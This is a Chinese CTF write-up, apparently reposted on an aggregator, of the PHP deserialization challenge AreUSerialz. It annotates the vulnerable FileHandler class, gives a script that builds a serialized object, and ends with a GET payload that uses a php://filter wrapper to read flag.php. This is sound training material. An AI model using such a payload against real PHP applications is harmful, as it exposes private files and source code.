2025.2.5——五、[網鼎杯 2020 青龍組]AreUSerialz 代碼審計|反序列化

題目來源:BUUCTF??[網鼎杯 2020 青龍組]AreUSerialz

目錄

一、打開靶機,整理信息

二、解題思路

step 1:代碼審計

step 2:開始解題

突破protected訪問修飾符限制

三、小結


一、打開靶機,整理信息

? ? ? ? 直接得到一串php代碼,根據題目可以看到還有序列化

二、解題思路

step 1:代碼審計

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {  //創建FileHandler類//定義了三個受保護的屬性protected $op;protected $filename;protected $content;//構造函數,對三個受保護的屬性進行初始化,然后調用process()方法function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}//定義公共的成員方法,并根據$this->op的值來執行不同的操作public function process() {if($this->op == "1") {$this->write();  //值為1,則調用write方法進行文件寫入操作} else if($this->op == "2") {$res = $this->read();  //值為2,則調用read方法讀取文件內容,并將結果傳遞給output方法輸出$this->output($res);} else {$this->output("Bad Hacker!");}}//定義公共的成員方法private function write() {if(isset($this->filename) && isset($this->content)) {  //檢查二者是否都已設置if(strlen((string)$this->content) > 100) {  //經檢查$thie->content的長度$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);  //使用file_put_contents函數將$this->content寫入$this->filename文件中,根據寫入結果輸出相應的信息if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {  //檢查$this->filename是否已設置,如果設置則使用file_get_contents()函數讀取該文件的內容并返回$res = file_get_contents($this->filename);}return $res;}//輸出[Result]: <br>作為前綴,然后輸出傳入的字符串$sprivate function output($s) {echo "[Result]: <br>";echo $s;}//析構函數,如果$this->op嚴格等于"2",則將其設置為"1",清空$this->content,然后調用process()方法。function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}//檢查傳入的字符串$s中的每個字符的ASCII碼是否在32到125之間,如果有不在該范圍內的字符則返回false,否則返回true
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}//處理GET請求
if(isset($_GET{'str'})) {  //檢查GET請求是否包含str參數,如果包含,將其轉換為字符串并調用is_valid()函數進行驗證$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);  //驗證通過則對該字符串進行反序列化操作}}

代碼總結:幾個重要的點①滿足op=1,則進行write寫入操作,op=2,就會執行read方法和output方法;②滿足content<100,則將$this->content寫入$this->filename文件中;③利用ord函數,檢查$s的字符串的ASCII值是否在32-125之間(包含了空格、符號、數字、大小寫字母),這里用%00轉換為\00即可繞過;④GET方式傳參,參數是str,傳入的值為字符串類型,然后要進行反序列化操作

step 2:開始解題

? ? ? ? 要想得到flag,需要繞過process方法,防止op=1,所以令op=2,直接進入read函數,然后傳入filename,并使用file_get_contents函數讀取文件,可以借助php://filter偽協議讀取文件,獲取文件后使用output函數輸出

????????一個需要注意的地方是,$op,$filename,$content三個變量權限都是protected,而protected權限的變量在序列化的時會有%00*%00字符,%00字符的ASCII碼為0,就無法通過上面的is_valid函數校驗。

摘自[網鼎杯 2020 青龍組]AreUSerialz - 春告鳥 - 博客園

突破protected訪問修飾符限制

? ? ? ? 大佬的腳本如下([網鼎杯 2020 青龍組]AreUSerialz - 春告鳥 - 博客園)

<?phpclass FileHandler {protected $op=2;protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";// $this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";// $this->process();}}
$A=new FileHandler();
$B=serialize($A);
echo $B;

? ? ? ? 運行得到的結果有三個地方字符顯示不正確的地方就是%00字符,這里可以利用本地序列化的時候將屬性改為public進行繞過(php7.1+版本對屬性類型不敏感),即

public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

得到正常結果

? ? ? ? 構造payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到一串base64編碼過的信息,進行base64解碼,得到flag

三、小結

1.和反序列化有關的題目還是得寫腳本

2.新知識:突破protected訪問修飾符限制

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/69248.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/69248.shtml
英文地址,請注明出處:http://en.pswp.cn/web/69248.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Docker深度解析:安裝各大環境

安裝 Nginx 實現負載均衡&#xff1a; 掛載 nginx html 文件&#xff1a; 創建過載目錄&#xff1a; mkdir -p /data/nginx/{conf,conf.d,html,logs} 注意&#xff1a;在掛載前需要對 conf/nginx.conf 文件進行編寫 worker_processes 1;events {worker_connections 1024; …

docker啟動報錯code=exited, status=1/FAILURE——問題排查

問題 在某臺centos7機器上&#xff0c;啟動docker服務 sudo systemctl start docker報下列錯誤&#xff1a; ● docker.service - Docker Application Container EngineLoaded: loaded (/usr/lib/systemd/system/docker.service; enabled; vendor preset: disabled)Active: …

基于SpringBoot養老院平臺系統功能實現五

一、前言介紹&#xff1a; 1.1 項目摘要 隨著全球人口老齡化的不斷加劇&#xff0c;養老服務需求日益增長。特別是在中國&#xff0c;隨著經濟的快速發展和人民生活水平的提高&#xff0c;老年人口數量不斷增加&#xff0c;對養老服務的質量和效率提出了更高的要求。傳統的養…

PostGIS:使用shp2pgsql、pgsql2shp、OGR2OGR函數進行數據導入、導出

數據導入與導出函數 數據庫數據導入與導出可以通過多個函數完成&#xff0c;QGIS文檔介紹了3個函數&#xff1a; shp2pgsql、pgsql2shp、OGR2OGR&#xff0c;分別用于shp導入數據庫、數據庫文件導出為shp、數據轉換為多種數據格式。 &#xff08;1&#xff09;shp2pgsql 在l…

【AIGC魔童】DeepSeek v3推理部署:vLLM/SGLang/LMDeploy

【AIGC魔童】DeepSeek v3推理部署&#xff1a;vLLM/SGLang/LMDeploy &#xff08;1&#xff09;使用vLLM推理部署DeepSeek&#xff08;2&#xff09;使用SGLang推理部署DeepSeek&#xff08;3&#xff09;使用LMDeploy推理部署DeepSeek &#xff08;1&#xff09;使用vLLM推理部…

《AI “造臉術”:生成對抗網絡打造超真實虛擬人臉》

在科技飛速發展的當下&#xff0c;人工智能的浪潮席卷而來&#xff0c;其中生成對抗網絡&#xff08;GANs&#xff09;技術以其獨特的魅力&#xff0c;成為了生成高度真實感虛擬人臉的強大引擎。無論是影視制作中虛擬角色的塑造&#xff0c;還是游戲領域中多樣化角色形象的構建…

C語言的靈魂——指針(2)

前言&#xff1a;上期我們介紹了如何理解地址&#xff0c;內存&#xff0c;以及指針的一些基礎知識和運算&#xff1b;這期我們來介紹一下const修飾指針&#xff0c;野指針&#xff0c;assert斷言&#xff0c;指針的傳址調用。 上一篇指針&#xff08;1&#xff09; 文章目錄 一…

Android studio 創建aar包給Unity使用

1、aar 是什么&#xff1f; 和 Jar有什么區別 aar 和 jar包 都是壓縮包&#xff0c;可以使用壓縮軟件打開 jar包 用于封裝 Java 類及其相關資源 aar 文件是專門為 Android 平臺設計的 &#xff0c;可以包含Android的專有內容&#xff0c;比如AndroidManifest.xml 文件 &#…

ASP.NET Core中Filter與Middleware的區別

中間件是ASP.NET Core這個基礎提供的功能&#xff0c;而Filter是ASP.NET Core MVC中提供的功能。ASP.NET Core MVC是由MVC中間件提供的框架&#xff0c;而Filter屬于MVC中間件提供的功能。 區別 中間件可以處理所有的請求&#xff0c;而Filter只能處理對控制器的請求&#x…

基礎篇05-圖像直方圖操作

本節將簡要介紹Halcon中有關圖像直方圖操作的算子&#xff0c;重點介紹直方圖獲取和顯示兩類算子&#xff0c;以及直方圖均衡化處理算子。 目錄 1. 引言 2. 獲取并顯示直方圖 2.1 獲取&#xff08;灰度&#xff09;直方圖 (1) gray_histo算子 (2) gray_histo_abs算子 (3…

MySQL | Navicat安裝教程

MySQL | Navicat安裝教程 &#x1fa84;個人博客&#xff1a;https://vite.xingji.fun 簡介 Navicat 是一款流行的 圖形化數據庫管理工具&#xff0c;由 PremiumSoft 公司開發&#xff0c;支持多種主流數據庫系統&#xff08;如 MySQL、MariaDB、SQL Server、Oracle、Postgre…

硬件實現I2C案例(寄存器實現)

一、需求分析 二、硬件電路設計 本次案例需求與前面軟件模擬案例一致&#xff0c;這里不再贅述&#xff0c;不清楚可參見下面文章&#xff1a;軟件模擬I2C案例&#xff08;寄存器實現&#xff09;-CSDN博客 值得注意的是&#xff0c;前面是軟件模擬I2C&#xff0c;所以并沒有…

基于SpringBoot養老院平臺系統功能實現六

一、前言介紹&#xff1a; 1.1 項目摘要 隨著全球人口老齡化的不斷加劇&#xff0c;養老服務需求日益增長。特別是在中國&#xff0c;隨著經濟的快速發展和人民生活水平的提高&#xff0c;老年人口數量不斷增加&#xff0c;對養老服務的質量和效率提出了更高的要求。傳統的養…

matlab simulink 汽車四分之一模型輪胎帶阻尼

1、內容簡介 略 matlab simulink121-汽車四分之一模型輪胎帶阻尼 可以交流、咨詢、答疑 2、內容說明 略 3、仿真分析 略 4、參考論文 略

w196Spring Boot高校教師科研管理系統設計與實現

&#x1f64a;作者簡介&#xff1a;多年一線開發工作經驗&#xff0c;原創團隊&#xff0c;分享技術代碼幫助學生學習&#xff0c;獨立完成自己的網站項目。 代碼可以查看文章末尾??聯系方式獲取&#xff0c;記得注明來意哦~&#x1f339;贈送計算機畢業設計600個選題excel文…

【鴻蒙開發】第二十四章 AI - Core Speech Kit(基礎語音服務)

目錄 1 簡介 1.1 場景介紹 1.2 約束與限制 2 文本轉語音 2.1 場景介紹 2.2 約束與限制 2.3 開發步驟 2.4 設置播報策略 2.4.1 設置單詞播報方式 2.4.2 設置數字播報策略 2.4.3 插入靜音停頓 2.4.4 指定漢字發音 2.5 開發實例 3 語音識別 3.1 場景介紹 3.2 約束…

數據分析:企業數字化轉型的金鑰匙

引言&#xff1a;數字化浪潮下的數據金礦 在數字化浪潮席卷全球的背景下&#xff0c;有研究表明&#xff0c;只有不到30%的企業能夠充分利用手中掌握的數據&#xff0c;這是否讓人深思&#xff1f;數據已然成為企業最為寶貴的資產之一。然而&#xff0c;企業是否真正準備好從數…

Starrocks 對比 Clickhouse

極速查詢的單表查詢 StarRocks 在極速查詢方面上做了很多&#xff0c;下面著重介紹四點&#xff1a; 1&#xff09;向量化執行&#xff1a;StarRocks 實現了從存儲層到查詢層的全面向量化執行&#xff0c;這是 StarRocks 速度優勢的基礎。向量化執行充分發揮了 CPU 的處理能力…

Vue 入門到實戰 八

第8章 組合API與響應性 目錄 8.1 響應性 8.1.1 什么是響應性 8.1.2 響應性原理 8.2 為什么使用組合API 8.3 setup組件選項 8.3.1 setup函數的參數 8.3.2 setup函數的返回值 8.3.3 使用ref創建響應式引用 8.3.4 setup內部調用生命周期鉤子函數 8.4 提供/注入 8.4.1 …

Java使用aspose實現pdf轉word

Java使用aspose實現pdf轉word 一、下載aspose-pdf-21.6.jar包【下載地址】&#xff0c;存放目錄結構如圖&#xff1b;配置pom.xml。 <!--pdf to word--> <dependency><groupId>com.aspose</groupId><artifactId>aspose-pdf</artifactId>…